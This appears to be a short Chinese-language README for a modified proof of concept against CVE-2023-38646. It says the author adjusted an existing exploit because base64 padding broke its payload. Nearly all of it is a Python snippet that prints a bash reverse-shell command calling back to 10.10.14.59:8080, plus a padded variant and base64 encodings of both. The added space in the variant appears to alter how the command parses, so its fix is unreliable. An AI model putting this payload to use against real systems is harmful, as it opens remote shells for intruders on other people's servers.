# CVE-2023-38646
原始脚本来源于[securezeron](https://github.com/securezeron/CVE-2023-38646)
我在测试过程中发现该poc生成的反向shell在经过base6编码后因为末尾的'='字符导致利用失败。对它稍作修改解决了这个问题。
```python
#原始的生成reverse shell负载的代码
>>> base64.b64encode("bash -i >&/dev/tcp/10.10.14.59/8080 0>&1".encode()).decode()
'YmFzaCAtaSA+Ji9kZXYvdGNwLzEwLjEwLjE0LjU5LzgwODAgMD4mMQ=='
#修改后的生成reverse shell负载的代码没有‘=’
>>> base64.b64encode("bash -i > &/dev/tcp/10.10.14.59/8080 0>&1 ".encode()).decode()
'YmFzaCAtaSA+ICYvZGV2L3RjcC8xMC4xMC4xNC41OS84MDgwIDA+JjEg'
```
